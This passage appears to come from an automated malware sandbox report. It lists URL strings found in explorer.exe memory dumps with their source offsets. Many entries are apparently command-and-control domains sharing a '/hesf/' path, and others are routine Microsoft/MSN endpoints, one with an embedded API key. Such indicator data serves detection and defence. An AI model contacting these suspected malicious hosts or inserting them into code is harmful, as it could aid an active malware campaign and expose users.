Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pancakesandwaflesbeverages.net
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pancakesandwaflesbeverages.net/hesf/
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pancakesandwaflesbeverages.net/hesf/www.schistdisc.com
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pancakesandwaflesbeverages.netReferer:
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pendletonofficial.shop
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pendletonofficial.shop/hesf/
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pendletonofficial.shop/hesf/www.shayun.net
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pendletonofficial.shopReferer:
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.schistdisc.com
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.schistdisc.com/hesf/
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.schistdisc.com/hesf/www.1320detailingsupplies.com
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.schistdisc.comReferer:
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.shayun.net
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.shayun.net/hesf/
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.shayun.net/hesf/www.brownkrosshui.com
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.shayun.netReferer:
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.svgco.life
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.svgco.life/hesf/
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.svgco.life/hesf/www.pancakesandwaflesbeverages.net
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.svgco.lifeReferer:
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.tygyro.com
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.tygyro.com/hesf/
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.tygyro.com/hesf/www.87b52.club
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.tygyro.comReferer:
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.usbulletinnow.com
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.usbulletinnow.com/hesf/
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.usbulletinnow.com/hesf/www.im-newbie-journal.online
Source: explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.usbulletinnow.comReferer:
Source: explorer.exe, 0000000F.00000003.2285903553.000000000BCB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3078591847.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 0000000F.00000003.2285903553.000000000BCB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3078591847.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 0000000F.00000003.2285903553.000000000BCB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3078591847.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSA4
Source: explorer.exe, 0000000F.00000003.2285903553.000000000BCB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3078591847.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSd
Source: explorer.exe, 0000000F.00000002.3851844225.000000000704E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076911253.000000000703F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.000000000702D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077182219.000000000704B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285656371.000000000702D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 0000000F.00000002.3851068029.0000000006F09000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000000F.00000002.3856158250.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2284163967.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0E948A694F8C48079B908C8EA9DDF9EA&timeOut=5000&oc
Source: explorer.exe, 0000000F.00000003.2284163967.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3856158250.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 0000000F.00000003.2284163967.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3856158250.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-dark
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-dark
Source: explorer.exe, 0000000F.00000002.3864604244.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1b2aMG.img
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hGNsX.img
